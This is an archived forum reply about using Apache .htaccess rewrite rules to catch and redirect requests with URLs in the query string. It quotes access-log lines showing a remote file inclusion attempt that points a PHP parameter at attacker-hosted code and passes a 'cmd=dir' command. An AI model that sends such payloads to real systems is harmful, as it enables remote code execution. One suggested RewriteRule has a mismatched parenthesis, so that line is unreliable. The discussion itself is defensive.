Reply to Re: Redirection based on Query string

Your name:

Reply:


Posted by Ian Hobson on 09/10/07 23:17

Reffo wrote:
>> Hi Reffo,
>>
>> Can you post the relevant part of your log file, so I can see what is
>> going wrong?
>>
>> Regards
>>
>> Ian
>>
> Hi.
>
> Here's one example:
>
> 66.118.176.78 - - [09/Sep/2007:08:35:14 +0200] "GET
> /index.php?newlang=norwegian/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://darkness.ws/xpl/bot/id.txt?
> HTTP/1.1" 302 340 "-" "libwww-perl/5.807"
>
> 66.118.176.78 - - [09/Sep/2007:08:35:19 +0200] "GET
> /help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://darkness.ws/xpl/bot/id.txt?
> HTTP/1.1" 302 301 "-" "libwww-perl/5.807"
>
> As you see, the person is getting a 302, but is not redirected.
>

The code was giving the 302, because that is what the [F] told it to do.

I think you need 3 lines in your .htaccess file only

RewriteEngine on
RewriteCond %{QUERY_STRING} .*http:\/\/.* [NC]
RewriteRule ^/.*) /btrap/index.php [L,R]

This will send them to your /btrap/index.php file, where you can create
a suitable page for them.

If you want to send them to another site, the last line is...

RewriteRule ^/(.*) http://fully.qualified.domain.name/$1 [L,R]

I don't think the other entries are necessary.

Regards

Ian

[Back to original message]


Удаленная работа для программистов  •  Как заработать на Google AdSense  •  England, UK  •  статьи на английском  •  PHP MySQL CMS Apache Oscommerce  •  Online Business Knowledge Base  •  DVD MP3 AVI MP4 players codecs conversion help
Home  •  Search  •  Site Map  •  Set as Homepage  •  Add to Favourites

Copyright © 2005-2006 Powered by Custom PHP Programming

Сайт изготовлен в Студии Валентина Петручека
изготовление и поддержка веб-сайтов, разработка программного обеспечения, поисковая оптимизация